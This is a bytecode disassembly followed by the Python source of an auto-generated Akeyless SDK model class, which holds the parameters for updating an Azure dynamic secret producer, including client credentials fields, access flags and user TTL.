COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST new_name LOAD_FAST self STORE_ATTR new_name LOAD_FAST producer_encryption_key_name LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST producer_encryption_key_name LOAD_FAST self STORE_ATTR producer_encryption_key_name LOAD_FAST secure_access_enable LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_enable LOAD_FAST self STORE_ATTR secure_access_enable LOAD_FAST secure_access_web LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_web LOAD_FAST self STORE_ATTR secure_access_web LOAD_FAST secure_access_web_browsing LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_web_browsing LOAD_FAST self STORE_ATTR secure_access_web_browsing LOAD_FAST secure_access_web_proxy LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_web_proxy LOAD_FAST self STORE_ATTR secure_access_web_proxy LOAD_FAST tags LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST tags LOAD_FAST self STORE_ATTR tags LOAD_FAST target_name LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST target_name LOAD_FAST self STORE_ATTR target_name LOAD_FAST token LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST token LOAD_FAST self STORE_ATTR token LOAD_FAST uid_token LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST uid_token LOAD_FAST self STORE_ATTR uid_token LOAD_FAST user_group_obj_id LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_group_obj_id LOAD_FAST self STORE_ATTR user_group_obj_id LOAD_FAST user_portal_access LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_portal_access LOAD_FAST self STORE_ATTR user_portal_access LOAD_FAST user_principal_name LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_principal_name LOAD_FAST self STORE_ATTR user_principal_name LOAD_FAST user_programmatic_access LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_programmatic_access LOAD_FAST self STORE_ATTR user_programmatic_access LOAD_FAST user_role_template_id LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_role_template_id LOAD_FAST self STORE_ATTR user_role_template_id LOAD_FAST user_ttl LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_ttl LOAD_FAST self STORE_ATTR user_ttl LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _app_obj_id RETURN_VALUE LOAD_FAST app_obj_id LOAD_FAST self STORE_ATTR _app_obj_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _azure_client_id RETURN_VALUE LOAD_FAST azure_client_id LOAD_FAST self STORE_ATTR _azure_client_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _azure_client_secret RETURN_VALUE LOAD_FAST azure_client_secret LOAD_FAST self STORE_ATTR _azure_client_secret LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _azure_tenant_id RETURN_VALUE LOAD_FAST azure_tenant_id LOAD_FAST self STORE_ATTR _azure_tenant_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete_protection RETURN_VALUE LOAD_FAST delete_protection LOAD_FAST self STORE_ATTR _delete_protection LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _fixed_user_claim_keyname RETURN_VALUE LOAD_FAST fixed_user_claim_keyname LOAD_FAST self STORE_ATTR _fixed_user_claim_keyname LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _fixed_user_only RETURN_VALUE LOAD_FAST fixed_user_only LOAD_FAST self STORE_ATTR _fixed_user_only LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _json RETURN_VALUE LOAD_FAST json LOAD_FAST self STORE_ATTR _json LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _name RETURN_VALUE LOAD_FAST self LOAD_ATTR local_vars_configuration LOAD_ATTR client_side_validation POP_JUMP_IF_FALSE LOAD_FAST name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Invalid value for `name`, must not be `None`' CALL_FUNCTION RAISE_VARARGS LOAD_FAST name LOAD_FAST self STORE_ATTR _name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _new_name RETURN_VALUE LOAD_FAST new_name LOAD_FAST self STORE_ATTR _new_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _producer_encryption_key_name RETURN_VALUE LOAD_FAST producer_encryption_key_name LOAD_FAST self STORE_ATTR _producer_encryption_key_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_enable RETURN_VALUE LOAD_FAST secure_access_enable LOAD_FAST self STORE_ATTR _secure_access_enable LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_web RETURN_VALUE LOAD_FAST secure_access_web LOAD_FAST self STORE_ATTR _secure_access_web LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_web_browsing RETURN_VALUE LOAD_FAST secure_access_web_browsing LOAD_FAST self STORE_ATTR _secure_access_web_browsing LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_web_proxy RETURN_VALUE LOAD_FAST secure_access_web_proxy LOAD_FAST self STORE_ATTR _secure_access_web_proxy LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _tags RETURN_VALUE LOAD_FAST tags LOAD_FAST self STORE_ATTR _tags LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _target_name RETURN_VALUE LOAD_FAST target_name LOAD_FAST self STORE_ATTR _target_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _token RETURN_VALUE LOAD_FAST token LOAD_FAST self STORE_ATTR _token LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _uid_token RETURN_VALUE LOAD_FAST uid_token LOAD_FAST self STORE_ATTR _uid_token LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_group_obj_id RETURN_VALUE LOAD_FAST user_group_obj_id LOAD_FAST self STORE_ATTR _user_group_obj_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_portal_access RETURN_VALUE LOAD_FAST user_portal_access LOAD_FAST self STORE_ATTR _user_portal_access LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_principal_name RETURN_VALUE LOAD_FAST user_principal_name LOAD_FAST self STORE_ATTR _user_principal_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_programmatic_access RETURN_VALUE LOAD_FAST user_programmatic_access LOAD_FAST self STORE_ATTR _user_programmatic_access LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_role_template_id RETURN_VALUE LOAD_FAST user_role_template_id LOAD_FAST self STORE_ATTR _user_role_template_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_ttl RETURN_VALUE LOAD_FAST user_ttl LOAD_FAST self STORE_ATTR _user_ttl LOAD_CONST None RETURN_VALUE BUILD_MAP STORE_FAST result SETUP_LOOP to 144 LOAD_GLOBAL six LOAD_METHOD iteritems LOAD_FAST self LOAD_ATTR openapi_types CALL_METHOD GET_ITER FOR_ITER to 142 UNPACK_SEQUENCE STORE_FAST attr STORE_FAST _ LOAD_GLOBAL getattr LOAD_FAST self LOAD_FAST attr CALL_FUNCTION STORE_FAST value LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL list LOAD_GLOBAL map LOAD_CONST <code object <lambda> at 0x7fab41053ed0, file "f.py", line 790> LOAD_CONST 'GatewayUpdateProducerAzure.to_dict.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST value CALL_FUNCTION CALL_FUNCTION LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL hasattr LOAD_FAST value LOAD_CONST 'to_dict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_METHOD to_dict CALL_METHOD LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL dict LOAD_GLOBAL map LOAD_CONST <code object <lambda> at 0x7fab41053e40, file "f.py", line 797> LOAD_CONST 'GatewayUpdateProducerAzure.to_dict.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST value LOAD_METHOD items CALL_METHOD CALL_FUNCTION CALL_FUNCTION LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE LOAD_FAST value LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_GLOBAL hasattr LOAD_FAST x LOAD_CONST 'to_dict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST x LOAD_METHOD to_dict CALL_METHOD RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_GLOBAL hasattr LOAD_FAST item LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'to_dict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST item LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST item LOAD_CONST 1 BINARY_SUBSCR LOAD_METHOD to_dict CALL_METHOD BUILD_TUPLE RETURN_VALUE LOAD_FAST item RETURN_VALUE LOAD_GLOBAL pprint LOAD_METHOD pformat LOAD_FAST self LOAD_METHOD to_dict CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD to_str CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST other LOAD_GLOBAL GatewayUpdateProducerAzure CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST False RETURN_VALUE LOAD_FAST self LOAD_METHOD to_dict CALL_METHOD LOAD_FAST other LOAD_METHOD to_dict CALL_METHOD COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST other LOAD_GLOBAL GatewayUpdateProducerAzure CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD to_dict CALL_METHOD LOAD_FAST other LOAD_METHOD to_dict CALL_METHOD COMPARE_OP != RETURN_VALUE
""" Akeyless API The purpose of this application is to provide access to Akeyless API. # noqa: E501 The version of the OpenAPI document: 2.0 Contact: [email protected] Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from akeyless.configuration import Configuration class GatewayUpdateProducerAzure(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { "app_obj_id": "str", "azure_client_id": "str", "azure_client_secret": "str", "azure_tenant_id": "str", "delete_protection": "str", "fixed_user_claim_keyname": "str", "fixed_user_only": "bool", "json": "bool", "name": "str", "new_name": "str", "producer_encryption_key_name": "str", "secure_access_enable": "str", "secure_access_web": "bool", "secure_access_web_browsing": "bool", "secure_access_web_proxy": "bool", "tags": "list[str]", "target_name": "str", "token": "str", "uid_token": "str", "user_group_obj_id": "str", "user_portal_access": "bool", "user_principal_name": "str", "user_programmatic_access": "bool", "user_role_template_id": "str", "user_ttl": "str", } attribute_map = { "app_obj_id": "app-obj-id", "azure_client_id": "azure-client-id", "azure_client_secret": "azure-client-secret", "azure_tenant_id": "azure-tenant-id", "delete_protection": "delete_protection", "fixed_user_claim_keyname": "fixed-user-claim-keyname", "fixed_user_only": "fixed-user-only", "json": "json", "name": "name", "new_name": "new-name", "producer_encryption_key_name": "producer-encryption-key-name", "secure_access_enable": "secure-access-enable", "secure_access_web": "secure-access-web", "secure_access_web_browsing": "secure-access-web-browsing", "secure_access_web_proxy": "secure-access-web-proxy", "tags": "tags", "target_name": "target-name", "token": "token", "uid_token": "uid-token", "user_group_obj_id": "user-group-obj-id", "user_portal_access": "user-portal-access", "user_principal_name": "user-principal-name", "user_programmatic_access": "user-programmatic-access", "user_role_template_id": "user-role-template-id", "user_ttl": "user-ttl", } def __init__( self, app_obj_id=None, azure_client_id=None, azure_client_secret=None, azure_tenant_id=None, delete_protection=None, fixed_user_claim_keyname="false", fixed_user_only=False, json=False, name=None, new_name=None, producer_encryption_key_name=None, secure_access_enable=None, secure_access_web=True, secure_access_web_browsing=False, secure_access_web_proxy=False, tags=None, target_name=None, token=None, uid_token=None, user_group_obj_id=None, user_portal_access=False, user_principal_name=None, user_programmatic_access=False, user_role_template_id=None, user_ttl="60m", local_vars_configuration=None, ): # noqa: E501 """GatewayUpdateProducerAzure - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._app_obj_id = None self._azure_client_id = None self._azure_client_secret = None self._azure_tenant_id = None self._delete_protection = None self._fixed_user_claim_keyname = None self._fixed_user_only = None self._json = None self._name = None self._new_name = None self._producer_encryption_key_name = None self._secure_access_enable = None self._secure_access_web = None self._secure_access_web_browsing = None self._secure_access_web_proxy = None self._tags = None self._target_name = None self._token = None self._uid_token = None self._user_group_obj_id = None self._user_portal_access = None self._user_principal_name = None self._user_programmatic_access = None self._user_role_template_id = None self._user_ttl = None self.discriminator = None if app_obj_id is not None: self.app_obj_id = app_obj_id if azure_client_id is not None: self.azure_client_id = azure_client_id if azure_client_secret is not None: self.azure_client_secret = azure_client_secret if azure_tenant_id is not None: self.azure_tenant_id = azure_tenant_id if delete_protection is not None: self.delete_protection = delete_protection if fixed_user_claim_keyname is not None: self.fixed_user_claim_keyname = fixed_user_claim_keyname if fixed_user_only is not None: self.fixed_user_only = fixed_user_only if json is not None: self.json = json self.name = name if new_name is not None: self.new_name = new_name if producer_encryption_key_name is not None: self.producer_encryption_key_name = producer_encryption_key_name if secure_access_enable is not None: self.secure_access_enable = secure_access_enable if secure_access_web is not None: self.secure_access_web = secure_access_web if secure_access_web_browsing is not None: self.secure_access_web_browsing = secure_access_web_browsing if secure_access_web_proxy is not None: self.secure_access_web_proxy = secure_access_web_proxy if tags is not None: self.tags = tags if target_name is not None: self.target_name = target_name if token is not None: self.token = token if uid_token is not None: self.uid_token = uid_token if user_group_obj_id is not None: self.user_group_obj_id = user_group_obj_id if user_portal_access is not None: self.user_portal_access = user_portal_access if user_principal_name is not None: self.user_principal_name = user_principal_name if user_programmatic_access is not None: self.user_programmatic_access = user_programmatic_access if user_role_template_id is not None: self.user_role_template_id = user_role_template_id if user_ttl is not None: self.user_ttl = user_ttl @property def app_obj_id(self): """Gets the app_obj_id of this GatewayUpdateProducerAzure. # noqa: E501 Azure App Object Id # noqa: E501 :return: The app_obj_id of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._app_obj_id @app_obj_id.setter def app_obj_id(self, app_obj_id): """Sets the app_obj_id of this GatewayUpdateProducerAzure. Azure App Object Id # noqa: E501 :param app_obj_id: The app_obj_id of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._app_obj_id = app_obj_id @property def azure_client_id(self): """Gets the azure_client_id of this GatewayUpdateProducerAzure. # noqa: E501 Azure Client ID # noqa: E501 :return: The azure_client_id of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._azure_client_id @azure_client_id.setter def azure_client_id(self, azure_client_id): """Sets the azure_client_id of this GatewayUpdateProducerAzure. Azure Client ID # noqa: E501 :param azure_client_id: The azure_client_id of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._azure_client_id = azure_client_id @property def azure_client_secret(self): """Gets the azure_client_secret of this GatewayUpdateProducerAzure. # noqa: E501 Azure Client Secret # noqa: E501 :return: The azure_client_secret of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._azure_client_secret @azure_client_secret.setter def azure_client_secret(self, azure_client_secret): """Sets the azure_client_secret of this GatewayUpdateProducerAzure. Azure Client Secret # noqa: E501 :param azure_client_secret: The azure_client_secret of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._azure_client_secret = azure_client_secret @property def azure_tenant_id(self): """Gets the azure_tenant_id of this GatewayUpdateProducerAzure. # noqa: E501 Azure Tenant ID # noqa: E501 :return: The azure_tenant_id of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._azure_tenant_id @azure_tenant_id.setter def azure_tenant_id(self, azure_tenant_id): """Sets the azure_tenant_id of this GatewayUpdateProducerAzure. Azure Tenant ID # noqa: E501 :param azure_tenant_id: The azure_tenant_id of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._azure_tenant_id = azure_tenant_id @property def delete_protection(self): """Gets the delete_protection of this GatewayUpdateProducerAzure. # noqa: E501 Protection from accidental deletion of this item [true/false] # noqa: E501 :return: The delete_protection of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._delete_protection @delete_protection.setter def delete_protection(self, delete_protection): """Sets the delete_protection of this GatewayUpdateProducerAzure. Protection from accidental deletion of this item [true/false] # noqa: E501 :param delete_protection: The delete_protection of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._delete_protection = delete_protection @property def fixed_user_claim_keyname(self): """Gets the fixed_user_claim_keyname of this GatewayUpdateProducerAzure. # noqa: E501 FixedUserClaimKeyname # noqa: E501 :return: The fixed_user_claim_keyname of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._fixed_user_claim_keyname @fixed_user_claim_keyname.setter def fixed_user_claim_keyname(self, fixed_user_claim_keyname): """Sets the fixed_user_claim_keyname of this GatewayUpdateProducerAzure. FixedUserClaimKeyname # noqa: E501 :param fixed_user_claim_keyname: The fixed_user_claim_keyname of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._fixed_user_claim_keyname = fixed_user_claim_keyname @property def fixed_user_only(self): """Gets the fixed_user_only of this GatewayUpdateProducerAzure. # noqa: E501 Fixed user # noqa: E501 :return: The fixed_user_only of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._fixed_user_only @fixed_user_only.setter def fixed_user_only(self, fixed_user_only): """Sets the fixed_user_only of this GatewayUpdateProducerAzure. Fixed user # noqa: E501 :param fixed_user_only: The fixed_user_only of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._fixed_user_only = fixed_user_only @property def json(self): """Gets the json of this GatewayUpdateProducerAzure. # noqa: E501 Set output format to JSON # noqa: E501 :return: The json of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._json @json.setter def json(self, json): """Sets the json of this GatewayUpdateProducerAzure. Set output format to JSON # noqa: E501 :param json: The json of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._json = json @property def name(self): """Gets the name of this GatewayUpdateProducerAzure. # noqa: E501 Producer name # noqa: E501 :return: The name of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this GatewayUpdateProducerAzure. Producer name # noqa: E501 :param name: The name of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ if ( self.local_vars_configuration.client_side_validation and name is None ): # noqa: E501 raise ValueError( "Invalid value for `name`, must not be `None`" ) # noqa: E501 self._name = name @property def new_name(self): """Gets the new_name of this GatewayUpdateProducerAzure. # noqa: E501 Producer name # noqa: E501 :return: The new_name of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._new_name @new_name.setter def new_name(self, new_name): """Sets the new_name of this GatewayUpdateProducerAzure. Producer name # noqa: E501 :param new_name: The new_name of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._new_name = new_name @property def producer_encryption_key_name(self): """Gets the producer_encryption_key_name of this GatewayUpdateProducerAzure. # noqa: E501 Dynamic producer encryption key # noqa: E501 :return: The producer_encryption_key_name of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._producer_encryption_key_name @producer_encryption_key_name.setter def producer_encryption_key_name(self, producer_encryption_key_name): """Sets the producer_encryption_key_name of this GatewayUpdateProducerAzure. Dynamic producer encryption key # noqa: E501 :param producer_encryption_key_name: The producer_encryption_key_name of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._producer_encryption_key_name = producer_encryption_key_name @property def secure_access_enable(self): """Gets the secure_access_enable of this GatewayUpdateProducerAzure. # noqa: E501 Enable/Disable secure remote access [true/false] # noqa: E501 :return: The secure_access_enable of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._secure_access_enable @secure_access_enable.setter def secure_access_enable(self, secure_access_enable): """Sets the secure_access_enable of this GatewayUpdateProducerAzure. Enable/Disable secure remote access [true/false] # noqa: E501 :param secure_access_enable: The secure_access_enable of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._secure_access_enable = secure_access_enable @property def secure_access_web(self): """Gets the secure_access_web of this GatewayUpdateProducerAzure. # noqa: E501 Enable Web Secure Remote Access # noqa: E501 :return: The secure_access_web of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._secure_access_web @secure_access_web.setter def secure_access_web(self, secure_access_web): """Sets the secure_access_web of this GatewayUpdateProducerAzure. Enable Web Secure Remote Access # noqa: E501 :param secure_access_web: The secure_access_web of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._secure_access_web = secure_access_web @property def secure_access_web_browsing(self): """Gets the secure_access_web_browsing of this GatewayUpdateProducerAzure. # noqa: E501 Secure browser via Akeyless Web Access Bastion # noqa: E501 :return: The secure_access_web_browsing of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._secure_access_web_browsing @secure_access_web_browsing.setter def secure_access_web_browsing(self, secure_access_web_browsing): """Sets the secure_access_web_browsing of this GatewayUpdateProducerAzure. Secure browser via Akeyless Web Access Bastion # noqa: E501 :param secure_access_web_browsing: The secure_access_web_browsing of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._secure_access_web_browsing = secure_access_web_browsing @property def secure_access_web_proxy(self): """Gets the secure_access_web_proxy of this GatewayUpdateProducerAzure. # noqa: E501 Web-Proxy via Akeyless Web Access Bastion # noqa: E501 :return: The secure_access_web_proxy of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._secure_access_web_proxy @secure_access_web_proxy.setter def secure_access_web_proxy(self, secure_access_web_proxy): """Sets the secure_access_web_proxy of this GatewayUpdateProducerAzure. Web-Proxy via Akeyless Web Access Bastion # noqa: E501 :param secure_access_web_proxy: The secure_access_web_proxy of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._secure_access_web_proxy = secure_access_web_proxy @property def tags(self): """Gets the tags of this GatewayUpdateProducerAzure. # noqa: E501 Add tags attached to this object # noqa: E501 :return: The tags of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: list[str] """ return self._tags @tags.setter def tags(self, tags): """Sets the tags of this GatewayUpdateProducerAzure. Add tags attached to this object # noqa: E501 :param tags: The tags of this GatewayUpdateProducerAzure. # noqa: E501 :type: list[str] """ self._tags = tags @property def target_name(self): """Gets the target_name of this GatewayUpdateProducerAzure. # noqa: E501 Target name # noqa: E501 :return: The target_name of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._target_name @target_name.setter def target_name(self, target_name): """Sets the target_name of this GatewayUpdateProducerAzure. Target name # noqa: E501 :param target_name: The target_name of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._target_name = target_name @property def token(self): """Gets the token of this GatewayUpdateProducerAzure. # noqa: E501 Authentication token (see `/auth` and `/configure`) # noqa: E501 :return: The token of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._token @token.setter def token(self, token): """Sets the token of this GatewayUpdateProducerAzure. Authentication token (see `/auth` and `/configure`) # noqa: E501 :param token: The token of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._token = token @property def uid_token(self): """Gets the uid_token of this GatewayUpdateProducerAzure. # noqa: E501 The universal identity token, Required only for universal_identity authentication # noqa: E501 :return: The uid_token of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._uid_token @uid_token.setter def uid_token(self, uid_token): """Sets the uid_token of this GatewayUpdateProducerAzure. The universal identity token, Required only for universal_identity authentication # noqa: E501 :param uid_token: The uid_token of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._uid_token = uid_token @property def user_group_obj_id(self): """Gets the user_group_obj_id of this GatewayUpdateProducerAzure. # noqa: E501 User Group Object Id # noqa: E501 :return: The user_group_obj_id of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._user_group_obj_id @user_group_obj_id.setter def user_group_obj_id(self, user_group_obj_id): """Sets the user_group_obj_id of this GatewayUpdateProducerAzure. User Group Object Id # noqa: E501 :param user_group_obj_id: The user_group_obj_id of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._user_group_obj_id = user_group_obj_id @property def user_portal_access(self): """Gets the user_portal_access of this GatewayUpdateProducerAzure. # noqa: E501 Azure User portal access # noqa: E501 :return: The user_portal_access of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._user_portal_access @user_portal_access.setter def user_portal_access(self, user_portal_access): """Sets the user_portal_access of this GatewayUpdateProducerAzure. Azure User portal access # noqa: E501 :param user_portal_access: The user_portal_access of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._user_portal_access = user_portal_access @property def user_principal_name(self): """Gets the user_principal_name of this GatewayUpdateProducerAzure. # noqa: E501 User Principal Name # noqa: E501 :return: The user_principal_name of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._user_principal_name @user_principal_name.setter def user_principal_name(self, user_principal_name): """Sets the user_principal_name of this GatewayUpdateProducerAzure. User Principal Name # noqa: E501 :param user_principal_name: The user_principal_name of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._user_principal_name = user_principal_name @property def user_programmatic_access(self): """Gets the user_programmatic_access of this GatewayUpdateProducerAzure. # noqa: E501 Azure User programmatic access # noqa: E501 :return: The user_programmatic_access of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: bool """ return self._user_programmatic_access @user_programmatic_access.setter def user_programmatic_access(self, user_programmatic_access): """Sets the user_programmatic_access of this GatewayUpdateProducerAzure. Azure User programmatic access # noqa: E501 :param user_programmatic_access: The user_programmatic_access of this GatewayUpdateProducerAzure. # noqa: E501 :type: bool """ self._user_programmatic_access = user_programmatic_access @property def user_role_template_id(self): """Gets the user_role_template_id of this GatewayUpdateProducerAzure. # noqa: E501 User Role Template Id # noqa: E501 :return: The user_role_template_id of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._user_role_template_id @user_role_template_id.setter def user_role_template_id(self, user_role_template_id): """Sets the user_role_template_id of this GatewayUpdateProducerAzure. User Role Template Id # noqa: E501 :param user_role_template_id: The user_role_template_id of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._user_role_template_id = user_role_template_id @property def user_ttl(self): """Gets the user_ttl of this GatewayUpdateProducerAzure. # noqa: E501 User TTL # noqa: E501 :return: The user_ttl of this GatewayUpdateProducerAzure. # noqa: E501 :rtype: str """ return self._user_ttl @user_ttl.setter def user_ttl(self, user_ttl): """Sets the user_ttl of this GatewayUpdateProducerAzure. User TTL # noqa: E501 :param user_ttl: The user_ttl of this GatewayUpdateProducerAzure. # noqa: E501 :type: str """ self._user_ttl = user_ttl def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list( map(lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value) ) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict( map( lambda item: ( (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item ), value.items(), ) ) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, GatewayUpdateProducerAzure): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, GatewayUpdateProducerAzure): return True return self.to_dict() != other.to_dict()
data/akeyless-3.6.1/akeyless/models/gateway_update_producer_azure.py
8,199
9,014
350,869
